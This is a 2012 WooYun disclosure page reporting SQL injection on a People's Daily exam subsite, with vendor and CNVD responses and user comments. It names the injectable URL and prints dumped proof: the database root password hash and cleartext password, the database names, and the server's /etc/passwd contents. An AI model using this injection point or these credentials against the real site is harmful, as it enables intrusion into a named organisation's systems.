当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-09853

漏洞标题：人民网分站注入

相关厂商：人民网

漏洞作者： goderci

提交时间：2012-07-19 10:28

修复时间：2012-09-02 10:29

公开时间：2012-09-02 10:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-07-19： 细节已通知厂商并且等待厂商处理中
2012-07-20： 厂商已经确认，细节仅向厂商公开
2012-07-30： 细节向核心白帽子及相关领域专家公开
2012-08-09： 细节向普通白帽子公开
2012-08-19： 细节向实习白帽子公开
2012-09-02： 细节向公众公开

简要描述：

靠，跨站师也来搞注入。

详细说明：

注入点：http://kaoshi.edu.people.com.cn/gongwuyuan/zhiwei2010/detail.php?id=1

漏洞证明：

database management system users : root
database management system passwd :
password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
clear-text password: 123456
available databases [4]:
[*] official_job
[*] people_exam
[*] test
[*] test\_%

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
pegasus:x:66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
htt:x:100:101:IIIMF Htt:/usr/lib/im:/sbin/nologin
canna:x:39:39:Canna Service User:/var/lib/canna:/sbin/nologin
wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin
rdd:x:500:500::/home/rdd:/bin/bash
mysql:x:501:500::/home/mysql:/bin/bash

修复方案：

1+1=?

版权声明：转载请注明来源 goderci@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2012-07-20 22:10

厂商回复：

CNVD确认漏洞情况，并尝试部分提权测试，与http://www.wooyun.org/bugs/wooyun-2012-09798一并协调涉事单位处置。
按部分影响机密性、可用性、完整性进行评分，rank=7.10*1.0*1.3=9.23

最新状态：

暂无

漏洞评价：

评论

  1. 2012-07-19 10:39 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    不知 是和我发现的一样不。

  2. 2012-07-19 10:47 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @疯子 人民网是我知道的最牛逼的网站，没有之一

  3. 2012-07-19 11:02 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @xsser 好吧。其实这个是留着测试工具的，我昨天去看了几眼，确实略显犀利...

  4. 2012-07-19 11:52 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @xsser 其实人民网是个蜜罐.你懂的

  5. 2012-07-19 11:56 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @only_guest 你这样解释那我就懂了

  6. 2012-07-19 13:20 | 瓜瓜 ( 普通白帽子 | Rank:173 漏洞数:25 )

    @疯子 不知一不一样...

  7. 2012-10-28 05:50 | SbbS ( 实习白帽子 | Rank:31 漏洞数:3 | Sb)

    目测自称跨站师，嘿嘿